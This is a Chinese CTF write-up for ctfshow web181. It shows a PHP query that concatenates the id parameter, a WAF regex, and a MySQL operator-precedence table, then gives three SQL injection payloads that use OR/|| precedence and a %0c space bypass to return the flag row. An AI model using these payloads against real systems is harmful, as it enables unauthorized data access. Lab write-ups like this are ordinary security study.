首页 > 数据库 >ctfshow web181(sql注入where后运算符优先级利用)

ctfshow web181(sql注入where后运算符优先级利用)

时间:2022-10-24 08:56:46浏览次数:50  
标签:web181 username 优先级 运算符 flag ctfshow sql id

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }
mysql操作符优先级:(数字越大,优先级越高)

优先级    运算符
1        :=
2        || , OR , XOR
3        && , AND
4        NOT
5        BETWEEN, CASE, WHEN, THEN, ELSE
6        =, <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN
7        |
8        &
9        <<, >>
10        -, +
11        *, /, DIV, %, MOD
12        ^
13        - (一元减号), ~ (一元比特反转)
14        !
15        BINARY, COLLATE

and的优先级高于or,需要同时满足两边的条件才会返回true,那么后面可以接一个or,or的两边有一个为true,既可以满足and。即:1 and 0 or 1

 

payload:

?id=-1'||username='flag
?id=-1'or(username)='flag
?id=-1'%0cor%0cusername='flag//这里%0c没有被过滤唉

 

标签:web181,username,优先级,运算符,flag,ctfshow,sql,id
From: https://www.cnblogs.com/meng-han/p/16820344.html

相关文章

  • 算数运算符
    1.算数运算符a=10;b=20;运算符描述实例+加a+b结果是30-减b-a结果是10*乘a*b结果是200/除b/a结果是2%取余(即整除后的余数)b%a结果是02......
  • 1.算术运算符、
    a=10;b=20;运算符描述实例+加a+b=30-减b-a=10*乘a*b=200/除b/a=2%取模(即整除后的余数)b%a=01.自增运算符运算符描述++加加--......
  • JavaScript语法-算数、比较运算符、逻辑运算符
    JavaScript语法-算数运算符<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><title>算符运算符</title><script><!--变量3-->......
  • JavaScript语法-变量、变量typeof、一元运算符
    JavaScript语法-变量变量变量:一小块存储数据的内存空间Java语言是强类型语言,而JavaScript是弱类型语言。强类型:在开辟变量存储空间时,定义了空间将来存储的数......
  • 3_ES6中拓展运算符的使用
    一,拓展运算符(...)拓展运算符(...):它会以参数序列的形式输出,更白话讲,比如数组,它可以把数组里面的东西一个一个的输出出来,例如1letarr1=["你","好","V","U","E",1,2]2......
  • MySQL基础1【安装-运算符-排序分页】尚硅谷
    第00章_介绍大纲第00章_写在前面讲师:尚硅谷-宋红康(江湖人称:康师傅)官网:http://www.atguigu.comhttp://www.atguigu.com/)一、MySQL数据库基础篇大纲MySQL数据库基础篇......
  • MYSQL运算符
    加法运算符CREATEDATABASEtest;--建库USEtest;--进库CREATETABLEdemo1(nameCHAR,ageINT);--建表--查询SELECT100+'1',100+'a',100+NULLFROMDUAL;/*结果+......
  • 条件运算符的嵌套
    #include<stdio.h>intmain(){ intgrade=0; charch; ch=(grade>=90)?'A':((grade>=60)?'B':'C'); printf("%c\n",ch); return0;}学习到:条件......
  • Golang基础-运算符
    运算符是一种特殊的符号,用以表示数据的运算、赋值和比较等运算符分为:算术运算符:+、-、*、/,%,++,--赋值运算符:=、+=、-=、*=、/=、%=关系运算符:==、!=、>、<、>=、<=......
  • java语言中的运算符
    java语言中的运算符java语言支持如下运算符算术运算符:+,-,*,/,%,++,--赋值运算符:=关系运算符:>,<,>=,<=,==,!=instanceof逻辑运算符:&&,||,!位运算符:&,|,^,~,>>,<<,>>>(了解!!!)......